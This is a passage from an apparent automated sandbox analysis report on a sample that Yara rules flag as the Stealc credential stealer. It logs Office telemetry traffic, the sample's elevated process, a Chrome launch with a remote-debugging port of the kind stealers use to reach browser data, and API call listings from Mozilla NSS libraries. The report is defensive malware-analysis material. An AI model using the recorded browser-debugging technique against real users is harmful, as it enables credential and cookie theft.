3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:22 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:22 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fff585e1-801e-0047-5a39-2a7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051722Z-r197bdfb6b4g24ztpxkw4umce8000000096g000000003fh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:22 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:22 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:22 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051722Z-16849878b786jv8w2kpaf5zkqs00000006hg000000001pdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:22 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:22 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051722Z-16849878b785dznd7xpawq9gcn000000091g000000002ayb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:23 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:23 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051723Z-16849878b785jrf8dn0d2rczaw00000008r000000000baks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:23 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:23 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051723Z-16849878b78g2m84h2v9sta29000000006dg00000000ftdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:23 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:23 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:24 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:24 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051723Z-17c5cb586f62blg5ss55p9d6fn00000008dg000000006rr3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:24 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	01:16:00
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc10000
File size:	2'139'136 bytes
MD5 hash:	6E874FC2BC875FDF946B61B7B83B1F9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2109583289.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1711896895.0000000005670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:16:11
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:16:11
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2320,i,17426783220369495163,5867397490255039380,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C57F688,00001000), ref: 6C4F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4F369F
__aulldiv.LIBCMT ref: 6C4F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4F3773
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C4F377E
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C4F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4F37C4
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C4F37CB
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C4F3801
__aulldiv.LIBCMT ref: 6C4F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4F394C

Strings

GenuntelineI, xrefs: 6C4F3639
GTC, xrefs: 6C4F3912
QPC, xrefs: 6C4F38FC
AuthcAMDenti, xrefs: 6C4F3946
MOZ_TIMESTAMP_MODE, xrefs: 6C4F35DB

Memory Dump Source

Source File: 00000000.00000002.2134286328.000000006C4F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2134267135.000000006C4F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134463358.000000006C57E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134484436.000000006C582000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2fa4df4084da96e9a6984f9c1ccee303c990c6be56498b064f982348f40852ed
Instruction ID: cc58d572aa0b75e382365db5f8547474df6fb56f271f7f2a39d5ce3258f7d9bb
Opcode Fuzzy Hash: 2fa4df4084da96e9a6984f9c1ccee303c990c6be56498b064f982348f40852ed
Instruction Fuzzy Hash: B7B1A371B083209FDB0ADF28CC44B5A77F5BBC9704F168A2DE899D7750D77098818BA6

Function 6C50C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C50C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C50C969
GetSystemInfo.KERNEL32(?), ref: 6C50C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C50C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C50C9E2

Memory Dump Source

Source File: 00000000.00000002.2134286328.000000006C4F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2134267135.000000006C4F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134463358.000000006C57E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134484436.000000006C582000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f7e6f0a960c8a4cfc2f2cd9249a484885a7e3c883f1849b7bd98a76001b3d2ff
Instruction ID: 685d92f947374ae282a2f12f6b446bbf6078787ec3792eb34a71ebbabd07f86b
Opcode Fuzzy Hash: f7e6f0a960c8a4cfc2f2cd9249a484885a7e3c883f1849b7bd98a76001b3d2ff
Instruction Fuzzy Hash: F121DA31741628ABDB05AE24CC84BAE73B9AB47704F510A19F903E7B80EB707C4087B5

Function 6C4F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4F3095

Part of subcall function 6C4F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C57F688,00001000), ref: 6C4F35D5
Part of subcall function 6C4F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4F35E0
Part of subcall function 6C4F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4F35FD
Part of subcall function 6C4F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4F363F
Part of subcall function 6C4F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4F369F
Part of subcall function 6C4F35A0: __aulldiv.LIBCMT ref: 6C4F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F309F

Part of subcall function 6C515B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5156EE,?,00000001), ref: 6C515B85
Part of subcall function 6C515B50: EnterCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515B90
Part of subcall function 6C515B50: LeaveCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515BD8
Part of subcall function 6C515B50: GetTickCount64.KERNEL32 ref: 6C515BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4F30BE

Part of subcall function 6C4F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4F3127
Part of subcall function 6C4F30F0: __aulldiv.LIBCMT ref: 6C4F3140

Part of subcall function 6C52AB2A: __onexit.LIBCMT ref: 6C52AB30

Memory Dump Source

Source File: 00000000.00000002.2134286328.000000006C4F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2134267135.000000006C4F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134463358.000000006C57E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2134484436.000000006C582000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b3a13a77dad8aea3d7b961d8e82e561b812d68689f1623315904f6e2bf5ea5ce
Instruction ID: ef36419f1e7cc014d1f43c2185df451b67704499e1b8c6bbb67e4be1711fb4a9
Opcode Fuzzy Hash: b3a13a77dad8aea3d7b961d8e82e561b812d68689f1623315904f6e2bf5ea5ce
Instruction Fuzzy Hash: E2F0F922D2075496CB12EF348C416E673B0AFAB114F52531AE85553561FB3066D883EA

Non-executed Functions

Function 6C626E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C772120,6C627E60), ref: 6C626EBC
TlsGetValue.KERNEL32 ref: 6C626EDF
EnterCriticalSection.KERNEL32(?), ref: 6C626EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C626F25

Part of subcall function 6C5FA900: TlsGetValue.KERNEL32(00000000,?,6C7714E4,?,6C594DD9), ref: 6C5FA90F
Part of subcall function 6C5FA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5FA94F

PR_Unlock.NSS3 ref: 6C626F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C626FA9
TlsGetValue.KERNEL32 ref: 6C6270B4
EnterCriticalSection.KERNEL32(?), ref: 6C6270C8
PR_CallOnce.NSS3(6C7724C0,6C667590), ref: 6C627104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C627117
SECOID_Init.NSS3 ref: 6C627128
PORT_Alloc_Util.NSS3(00000057), ref: 6C62714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6271A9
PR_NotifyAllCondVar.NSS3 ref: 6C6271CF
PR_Unlock.NSS3 ref: 6C6271DD
free.MOZGLUE(?), ref: 6C6271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C627208
free.MOZGLUE(00000000), ref: 6C627221
free.MOZGLUE(00000001), ref: 6C627235
TlsGetValue.KERNEL32 ref: 6C62724A
EnterCriticalSection.KERNEL32(?), ref: 6C62725E
PR_NotifyCondVar.NSS3 ref: 6C627273
PR_Unlock.NSS3 ref: 6C627281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C627291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C627372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C760148,,defaultModDB,internalKeySlot), ref: 6C6274CC
free.MOZGLUE(00000000), ref: 6C627513
free.MOZGLUE(00000000), ref: 6C62751B
free.MOZGLUE(00000000), ref: 6C627528
free.MOZGLUE(00000000), ref: 6C62753C
